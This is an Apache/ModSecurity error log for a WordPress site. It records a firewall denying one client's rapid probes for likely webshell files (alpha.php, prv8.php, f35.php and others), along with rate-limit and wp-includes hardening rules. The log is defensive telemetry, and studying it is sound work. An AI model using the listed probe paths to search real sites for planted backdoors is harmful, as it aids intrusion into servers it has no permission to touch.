[Sun Mar 22 18:57:10.923398 2026] [:error] [pid 51362:tid 51418] [client 68.221.64.113:23687] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "ab_LBsOwPm3DXzTDjUeZmwAAAFE"]
[Sun Mar 22 18:57:11.566881 2026] [:error] [pid 30166:tid 30176] [client 68.221.64.113:17425] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "ab_LB7m4_26jKMD0zy3LWQAAAUU"]
[Sun Mar 22 18:57:12.652559 2026] [:error] [pid 51362:tid 51410] [client 68.221.64.113:15505] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "ab_LCMOwPm3DXzTDjUeZnAAAAEk"]
[Sun Mar 22 18:57:13.206608 2026] [:error] [pid 30166:tid 30170] [client 68.221.64.113:55071] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "ab_LCbm4_26jKMD0zy3LYQAAAUA"]
[Sun Mar 22 18:57:13.974836 2026] [:error] [pid 30166:tid 30200] [client 68.221.64.113:13287] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alpha.php"] [unique_id "ab_LCbm4_26jKMD0zy3LYwAAAVc"]
[Sun Mar 22 18:57:14.721023 2026] [:error] [pid 51362:tid 51412] [client 68.221.64.113:55088] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ab_LCsOwPm3DXzTDjUeZoAAAAEs"]
[Sun Mar 22 18:57:15.381903 2026] [:error] [pid 30166:tid 30190] [client 68.221.64.113:14775] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ab_LC7m4_26jKMD0zy3LaAAAAU8"]
[Sun Mar 22 18:57:16.092577 2026] [:error] [pid 51362:tid 51408] [client 68.221.64.113:33117] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ab_LDMOwPm3DXzTDjUeZpgAAAEc"]
[Sun Mar 22 18:57:16.917769 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:14745] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ab_LDFwa9x6OCTRkhl2BqQAAAJc"]
[Sun Mar 22 18:57:17.480298 2026] [:error] [pid 51363:tid 51428] [client 68.221.64.113:54234] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "ab_LDVwa9x6OCTRkhl2BqgAAAIA"]
[Sun Mar 22 18:57:18.170488 2026] [:error] [pid 51361:tid 51384] [client 68.221.64.113:14736] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "ab_LDhXYUsdvKC9YWpXSCQAAAA0"]
[Sun Mar 22 18:57:18.864712 2026] [:error] [pid 51468:tid 51500] [client 68.221.64.113:25388] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "ab_LDk2TppSvA8W5CBQ8nQAAANg"]
[Sun Mar 22 18:57:20.238749 2026] [:error] [pid 51363:tid 51432] [client 68.221.64.113:54233] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-michan.php"] [unique_id "ab_LEFwa9x6OCTRkhl2BrgAAAIQ"]
[Sun Mar 22 18:57:20.785323 2026] [:error] [pid 30166:tid 30176] [client 68.221.64.113:25934] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ab_LELm4_26jKMD0zy3LdQAAAUU"]
[Sun Mar 22 18:57:21.346964 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:25406] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ab_LEcOwPm3DXzTDjUeZrwAAAFA"]
[Sun Mar 22 18:57:22.617059 2026] [:error] [pid 51361:tid 51389] [client 68.221.64.113:21373] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ab_LEhXYUsdvKC9YWpXSCgAAABE"]
[Sun Mar 22 18:57:23.570541 2026] [:error] [pid 30166:tid 30197] [client 68.221.64.113:32329] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "ab_LE7m4_26jKMD0zy3LfAAAAVQ"]
[Sun Mar 22 18:57:24.375442 2026] [:error] [pid 51362:tid 51414] [client 68.221.64.113:13969] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "ab_LFMOwPm3DXzTDjUeZsgAAAE0"]
[Sun Mar 22 18:57:25.179143 2026] [:error] [pid 51363:tid 51430] [client 68.221.64.113:22110] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "ab_LFVwa9x6OCTRkhl2BtwAAAII"]
[Sun Mar 22 18:57:26.014817 2026] [autoindex:error] [pid 51361:tid 51397] [client 68.221.64.113:25923] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 18:57:28.348347 2026] [autoindex:error] [pid 51361:tid 51375] [client 68.221.64.113:25923] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 18:57:36.190444 2026] [autoindex:error] [pid 51361:tid 51384] [client 68.221.64.113:25923] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2021/02/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 18:57:43.667323 2026] [:error] [pid 51361:tid 51376] [client 68.221.64.113:25923] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ab_LJxXYUsdvKC9YWpXSJAAAAAU"]
[Sun Mar 22 18:57:44.295848 2026] [:error] [pid 51362:tid 51415] [client 68.221.64.113:40743] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ab_LKMOwPm3DXzTDjUeZ9gAAAE4"]
[Sun Mar 22 18:57:45.509083 2026] [:error] [pid 51362:tid 51409] [client 68.221.64.113:25345] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ab_LKcOwPm3DXzTDjUeZ-wAAAEg"]
[Sun Mar 22 18:57:46.127945 2026] [:error] [pid 51363:tid 51433] [client 68.221.64.113:20195] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "ab_LKlwa9x6OCTRkhl2CIgAAAIU"]
[Sun Mar 22 18:57:46.995485 2026] [:error] [pid 40039:tid 40050] [client 68.221.64.113:14839] [client 68.221.64.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ab_LKh3aDgUJfBYishmhcwAAAQk"]
[Sun Mar 22 18:57:47.758221 2026] [:error] [pid 40039:tid 40043] [client 68.221.64.113:38153] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ab_LKx3aDgUJfBYishmhdQAAAQI"]
[Sun Mar 22 18:57:48.510717 2026] [:error] [pid 51363:tid 51454] [client 68.221.64.113:18299] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ab_LLFwa9x6OCTRkhl2CJwAAAJg"]
[Sun Mar 22 18:57:49.116888 2026] [:error] [pid 51362:tid 51420] [client 68.221.64.113:22101] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ab_LLcOwPm3DXzTDjUeaAwAAAFM"]
[Sun Mar 22 18:57:49.932687 2026] [:error] [pid 51361:tid 51379] [client 68.221.64.113:40727] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "ab_LLRXYUsdvKC9YWpXSKAAAAAg"]
[Sun Mar 22 18:57:50.593636 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:50743] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ab_LLrm4_26jKMD0zy3LowAAAVU"]
[Sun Mar 22 18:57:51.613688 2026] [:error] [pid 51468:tid 51482] [client 68.221.64.113:38154] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ab_LL02TppSvA8W5CBQ8swAAAMY"]
[Sun Mar 22 18:57:52.315987 2026] [:error] [pid 40039:tid 40048] [client 68.221.64.113:20182] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ab_LMB3aDgUJfBYishmhfQAAAQc"]
[Sun Mar 22 18:57:54.358594 2026] [:error] [pid 51361:tid 51372] [client 68.221.64.113:18268] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "ab_LMhXYUsdvKC9YWpXSKgAAAAE"]
[Sun Mar 22 18:57:55.530817 2026] [:error] [pid 51363:tid 51440] [client 68.221.64.113:15226] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "ab_LM1wa9x6OCTRkhl2CPQAAAIs"]
[Sun Mar 22 18:57:56.331033 2026] [:error] [pid 51361:tid 51393] [client 68.221.64.113:15174] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "ab_LNBXYUsdvKC9YWpXSKwAAABU"]
[Sun Mar 22 18:57:59.871492 2026] [:error] [pid 51362:tid 51414] [client 68.221.64.113:55715] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "ab_LN8OwPm3DXzTDjUeaEgAAAE0"]
[Sun Mar 22 18:58:00.532325 2026] [:error] [pid 51362:tid 51406] [client 68.221.64.113:28176] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/"] [unique_id "ab_LOMOwPm3DXzTDjUeaGQAAAEU"]
[Sun Mar 22 18:58:01.445462 2026] [:error] [pid 51468:tid 51496] [client 68.221.64.113:45532] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "ab_LOU2TppSvA8W5CBQ8vwAAANQ"]
[Sun Mar 22 18:58:02.070574 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:15954] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "ab_LOlwa9x6OCTRkhl2CRwAAAJQ"]
[Sun Mar 22 18:58:02.633441 2026] [:error] [pid 40039:tid 40062] [client 68.221.64.113:41364] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "ab_LOh3aDgUJfBYishmhhAAAARU"]
[Sun Mar 22 18:58:03.201716 2026] [:error] [pid 30166:tid 30175] [client 68.221.64.113:15211] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/prv8.php"] [unique_id "ab_LO7m4_26jKMD0zy3LtQAAAUQ"]
[Sun Mar 22 18:58:03.908158 2026] [:error] [pid 51363:tid 51436] [client 68.221.64.113:15971] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ab_LO1wa9x6OCTRkhl2CdAAAAIc"]
[Sun Mar 22 18:58:04.450991 2026] [:error] [pid 51362:tid 51417] [client 68.221.64.113:14841] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ab_LPMOwPm3DXzTDjUeaMAAAAFA"]
[Sun Mar 22 18:58:05.297812 2026] [:error] [pid 40039:tid 40054] [client 68.221.64.113:18246] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ab_LPR3aDgUJfBYishmhhwAAAQ0"]
[Sun Mar 22 18:58:06.068321 2026] [:error] [pid 51363:tid 51430] [client 68.221.64.113:15956] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/k.php"] [unique_id "ab_LPlwa9x6OCTRkhl2CeQAAAII"]
[Sun Mar 22 18:58:06.743843 2026] [:error] [pid 30166:tid 30183] [client 68.221.64.113:8659] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "ab_LPrm4_26jKMD0zy3LxAAAAUg"]
[Sun Mar 22 18:58:07.314410 2026] [:error] [pid 51468:tid 51487] [client 68.221.64.113:8699] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "ab_LP02TppSvA8W5CBQ8ygAAAMs"]
[Sun Mar 22 18:58:08.067006 2026] [:error] [pid 30166:tid 30191] [client 68.221.64.113:15963] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "ab_LQLm4_26jKMD0zy3LxwAAAVA"]
[Sun Mar 22 18:58:08.755853 2026] [:error] [pid 30166:tid 30171] [client 68.221.64.113:35156] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "ab_LQLm4_26jKMD0zy3LygAAAUE"]
[Sun Mar 22 18:58:09.872527 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:20163] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "ab_LQVwa9x6OCTRkhl2CiAAAAJU"]
[Sun Mar 22 18:58:12.594990 2026] [:error] [pid 51362:tid 51404] [client 68.221.64.113:27739] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "ab_LRMOwPm3DXzTDjUeaQAAAAEM"]
[Sun Mar 22 18:58:13.242865 2026] [:error] [pid 51363:tid 51429] [client 68.221.64.113:16364] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "ab_LRVwa9x6OCTRkhl2CpgAAAIE"]
[Sun Mar 22 18:58:13.899927 2026] [:error] [pid 51363:tid 51448] [client 68.221.64.113:40717] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bal.php"] [unique_id "ab_LRVwa9x6OCTRkhl2CtgAAAJI"]
[Sun Mar 22 18:58:14.423947 2026] [:error] [pid 51363:tid 51438] [client 68.221.64.113:35160] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/in.php"] [unique_id "ab_LRlwa9x6OCTRkhl2CxQAAAIk"]
